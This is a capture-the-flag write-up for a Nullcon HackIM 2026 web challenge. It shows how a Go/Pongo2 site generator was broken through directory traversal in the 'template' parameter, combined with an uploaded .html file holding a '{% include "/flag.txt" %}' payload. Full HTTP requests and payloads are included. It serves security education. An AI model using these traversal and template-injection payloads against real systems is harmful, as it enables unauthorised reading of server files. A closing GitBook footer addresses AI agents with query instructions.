> For the complete documentation index, see [llms.txt](https://lance-kenji.gitbook.io/me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lance-kenji.gitbook.io/me/nullcon-hackim-ctf-goa-2026-writeups/web/wordpress-static-site-generator.md).

# WordPress Static Site Generator

**Category:** Web

**Difficulty:** Easy

#### 1. Challenge Overview

The challenge presents a web application designed to convert WordPress XML export files into static websites. The interface is simple:

1. **Upload:** A form to upload a WordPress XML file.
2. **Generate:** A form to select a template (Classic, Modern, Magazine) and generate the site.

The goal is to read the `/flag.txt` file stored on the server.

***

#### 2. Vulnerability Analysis

My first step was to explore how the "Generate" feature works. I intercepted the request when clicking "Generate Site" using a proxy. The application sends a POST request to `/generate` with a `template` parameter.

```http
POST /generate HTTP/1.1
...
template=classic
```

I attempted a basic directory traversal attack to see how the server handles the input. I sent `template=../../flag.txt`.

The server responded with a **500 Internal Server Error** that leaked crucial information:

> Error loading **Pongo2** template from templates/../../flag.txt.html

This error message reveals three key pieces of intel:

1. **Technology:** The backend is using **Pongo2**, a Django-syntax-like template engine for Go.
2. **LFI Vulnerability:** The application is vulnerable to Local File Inclusion (LFI) via directory traversal, as it tried to load the path I provided.
3. **Constraint:** The application automatically appends `.html` to the input. This is why my attempt to read `flag.txt`failed—it looked for `flag.txt.html`.

Based on this, I hypothesized the backend code looks something like this:

```go
// Guessed Backend Code
func generateHandler(c *gin.Context) {
    templateName := c.PostForm("template")
    // Vulnerability: No validation on templateName
    // Constraint: Forces .html extension
    tpl, err := pongo2.FromFile("templates/" + templateName + ".html")
    if err != nil {
        c.String(500, "Error loading Pongo2 template from %s", "templates/" + templateName + ".html")
        return
    }
    // ... render template ...
}
```

***

#### 3. Developing the Exploit

Since I cannot directly include `/flag.txt` due to the forced `.html` extension, I need to achieve **Server-Side Template Injection (SSTI)** (or technically, remote template inclusion via upload).

The plan:

1. **Upload a malicious file:** The application allows file uploads. If I can upload a file that acts as a Pongo2 template, I can execute arbitrary template tags.
2. **Bypass the extension check:** The LFI forces `.html`. Therefore, my uploaded file *must* end in `.html` so the template loader can find it.
3. **The Payload:** Inside the malicious template, I can use Pongo2's standard tags. specifically `{% include %}`, which usually allows absolute paths and might not enforce the `.html` extension on the *included* file, unlike the initial loader.

I checked the upload behavior. Successful uploads are stored in `uploads/<UUID>/`.

I crafted a file named `pwn.html`. Although the form says it accepts `.xml`, this is often just a client-side restriction. I can rename the file or intercept the request to change the filename to `.html`.

***

#### 4. The PoC

I used Burp Suite to perform the attack.

**Step 1: Upload the malicious template**

I uploaded a file containing a Pongo2 injection. I made sure to name it `pwn.html`.

**Request:**

```http
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
...
------WebKitFormBoundary
Content-Disposition: form-data; name="wordpress_xml"; filename="pwn.html"
Content-Type: text/xml

<?xml version="1.0"?>
<rss version="2.0">
<channel>
    <title>Exploit</title>
    <item>
        <title>Flag: {% include "/flag.txt" %}</title>
        <description>Click to see flag</description>
    </item>
</channel>
</rss>
------WebKitFormBoundary--
```

**Response:** The server accepted the file and gave me the path:

> Uploaded to: uploads/UUID/

**Step 2: Trigger the Template Execution**

Now I use the LFI vulnerability in `/generate` to load my uploaded file. I need to traverse out of the `templates/` directory and into the `uploads/` directory.

**Request:**

```http
POST /generate HTTP/1.1
...
template=../uploads/UUID/pwn
```

*Note: I omit `.html` because the server appends it automatically.*

***

#### 5. The Winning Payload

The winning payload inside `pwn.html` was a simple Pongo2 include tag.

```xml
<?xml version="1.0"?>
<rss version="2.0">
<channel>
    <title>Exploit</title>
    <item>
        <title>Flag: {% include "/flag.txt" %}</title>
        <description>Click to see flag</description>
    </item>
</channel>
</rss>
```

When the server processes this file as a template:

1. It resolves `../uploads/.../pwn.html`.
2. It parses the content.
3. It encounters `{% include "/flag.txt" %}`.
4. Pongo2 executes the include (which does not force `.html`) and inserts the contents of the flag into the rendered output.

***

#### 6. Result

The server rendered the page with a status of `200 OK`. The output HTML contained the content of the XML file I uploaded, with the Pongo2 tag replaced by the contents of the flag file.

```xml
<?xml version="1.0"?>
<rss version="2.0">
<channel>
    <title>Exploit</title>
    <item>
        <title>Flag: ENO{PONGO2_T3MPl4T3_1NJ3cT1on_!s_Fun_To00!}</title>
        <description>Click to see flag</description>
    </item>
</channel>
</rss>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lance-kenji.gitbook.io/me/nullcon-hackim-ctf-goa-2026-writeups/web/wordpress-static-site-generator.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
